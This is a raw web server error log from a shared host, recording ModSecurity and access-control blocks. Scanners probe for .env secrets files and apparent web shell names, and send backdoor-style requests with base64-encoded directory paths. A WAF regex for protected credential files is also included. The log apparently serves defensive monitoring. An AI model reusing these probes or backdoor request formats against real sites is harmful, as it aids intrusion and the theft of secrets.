103.146.202.144:57804] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.deg.kkx.mybluehost.me"] [uri "/public/.env"] [unique_id "ai3xmcTA7b1mZrmcA-8p1wAAAo4"] [Sat Jun 13 18:11:05.318117 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:05.318372 2026] [access_compat:error] [pid 531155:tid 531225] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:05.373493 2026] [security2:error] [pid 531155:tid 531270] [remote 17.22.253.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmSmiP80klyS0Nnr7mQABNnI"] [Sat Jun 13 18:11:05.411712 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.72:57891] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:05.412090 2026] [access_compat:error] [pid 531797:tid 531890] [remote 57.141.14.72:57891] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:05.439503 2026] [security2:error] [pid 531797:tid 531868] [remote 17.241.219.175:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmcTA7b1mZrmcA-8p3AACLwQ"] [Sat Jun 13 18:11:05.509311 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:05.509589 2026] [access_compat:error] [pid 531797:tid 531871] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=fb&p=L3Byb2M= [Sat Jun 13 18:11:05.584714 2026] [security2:error] [pid 531797:tid 531973] [remote 17.246.15.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmcTA7b1mZrmcA-8p4QACaWw"] [Sat Jun 13 18:11:05.734022 2026] [security2:error] [pid 531797:tid 532059] [client 191.233.234.186:40280] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-initiative.com"] [uri "/htto.php"] [unique_id "ai3xmcTA7b1mZrmcA-8p6AAAAlE"] [Sat Jun 13 18:11:05.780122 2026] [security2:error] [pid 531797:tid 531887] [remote 17.22.237.86:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmcTA7b1mZrmcA-8p6wACMxc"] [Sat Jun 13 18:11:05.824867 2026] [security2:error] [pid 531797:tid 532047] [client 191.233.234.186:45736] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "afghanjudofederation-af.accessart.af"] [uri "/Ov-Simple1.php"] [unique_id "ai3xmcTA7b1mZrmcA-8p7QAAAkU"] [Sat Jun 13 18:11:05.842773 2026] [security2:error] [pid 531797:tid 532016] [client 20.151.217.54:57492] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/drykl.php"] [unique_id "ai3xmcTA7b1mZrmcA-8p7gAAAig"] [Sat Jun 13 18:11:05.872605 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvaW5wdXQyOjpjYXBzbG9jaw== [Sat Jun 13 18:11:05.873056 2026] [access_compat:error] [pid 531155:tid 531228] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvaW5wdXQyOjpjYXBzbG9jaw== [Sat Jun 13 18:11:05.969944 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.94:28242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:05.970374 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.94:28242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:05.993721 2026] [security2:error] [pid 531155:tid 531296] [client 191.233.234.186:29462] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.worldsolarprous.com"] [uri "/samll.php"] [unique_id "ai3xmSmiP80klyS0Nnr7sQAAARU"] [Sat Jun 13 18:11:05.994042 2026] [security2:error] [pid 531155:tid 531159] [remote 17.246.23.160:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 160.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmSmiP80klyS0Nnr7sgABhgM"] [Sat Jun 13 18:11:06.015473 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3J1bi9ndA== [Sat Jun 13 18:11:06.015935 2026] [access_compat:error] [pid 531797:tid 531964] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3J1bi9ndA== [Sat Jun 13 18:11:06.174107 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=backdoor&p=L3J1bi9ndA== [Sat Jun 13 18:11:06.174575 2026] [access_compat:error] [pid 531797:tid 531929] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=backdoor&p=L3J1bi9ndA== [Sat Jun 13 18:11:06.205661 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.97:57388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:06.205992 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.97:57388] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:06.399769 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:06.400186 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:11:06.559914 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Zhci95cA== [Sat Jun 13 18:11:06.560373 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Zhci95cA== [Sat Jun 13 18:11:06.603696 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.39:42006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:06.604139 2026] [access_compat:error] [pid 531797:tid 531869] [remote 57.141.14.39:42006] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:06.608706 2026] [security2:error] [pid 531797:tid 531875] [remote 17.246.19.19:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 19.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmsTA7b1mZrmcA-8qEwACFAs"] [Sat Jun 13 18:11:06.628942 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.21:56083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:06.629395 2026] [access_compat:error] [pid 531797:tid 531980] [remote 57.141.14.21:56083] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:06.658062 2026] [access_compat:error] [pid 531155:tid 531187] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:06.658442 2026] [access_compat:error] [pid 531155:tid 531187] [remote 216.73.216.182:42756] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:06.665957 2026] [security2:error] [pid 531155:tid 531347] [client 20.151.217.54:57490] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "williamsflying.paintyourplane.com"] [uri "/h2a2ck.php"] [unique_id "ai3xmimiP80klyS0Nnr7ywAAAUg"] [Sat Jun 13 18:11:06.684034 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=backdoor&p=L3Zhci95cA== [Sat Jun 13 18:11:06.684481 2026] [access_compat:error] [pid 531797:tid 531969] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=backdoor&p=L3Zhci95cA== [Sat Jun 13 18:11:06.794444 2026] [security2:error] [pid 531797:tid 531961] [remote 17.22.237.58:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 58.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmsTA7b1mZrmcA-8qHAACg2E"] [Sat Jun 13 18:11:06.898790 2026] [security2:error] [pid 531155:tid 531214] [remote 17.241.219.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xmimiP80klyS0Nnr73AABhDo"] [Sat Jun 13 18:11:06.922955 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:11:06.924049 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:11:07.060976 2026] [security2:error] [pid 531155:tid 531169] [remote 216.73.216.182:42756] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xmymiP80klyS0Nnr76QABRw0"], referer: https://homs.co.ke/?action=adminer&p=L3Vzci9iaW4%3D [Sat Jun 13 18:11:07.082483 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:07.082935 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Vzci9iaW4= [Sat Jun 13 18:11:07.112804 2026] [security2:error] [pid 531797:tid 532033] [client 66.249.77.96:45706] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Googlebot[\\\\/-]" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/google.conf"] [line "3"] [id "901003"] [msg "Googlebot Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "nmarl.com"] [uri "/robots.txt"] [unique_id "ai3xm8TA7b1mZrmcA-8qKgAAAjg"] [Sat Jun 13 18:11:07.340805 2026] [security2:error] [pid 531797:tid 532034] [client 191.233.234.186:45698] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "afghanjudofederation-af.accessart.af"] [uri "/atomlib.php"] [unique_id "ai3xm8TA7b1mZrmcA-8qOAAAAjk"] [Sat Jun 13 18:11:07.370120 2026] [security2:error] [pid 531797:tid 532063] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "www.sunshinemanage.kbm-realty.com"] [uri "/core/.env"] [unique_id "ai3xm8TA7b1mZrmcA-8qPAAAAlU"] [Sat Jun 13 18:11:07.416895 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:11:07.417158 2026] [access_compat:error] [pid 531155:tid 531208] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZQ== [Sat Jun 13 18:11:07.495608 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.74:62274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:07.495909 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.74:62274] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:07.586779 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvYmlu [Sat Jun 13 18:11:07.587028 2026] [access_compat:error] [pid 531797:tid 531904] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvYmlu [Sat Jun 13 18:11:07.773553 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.109:42062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:11:07.773822 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.109:42062] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:11:07.774564 2026] [security2:error] [pid 531797:tid 532071] [client 103.146.202.144:54180] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname 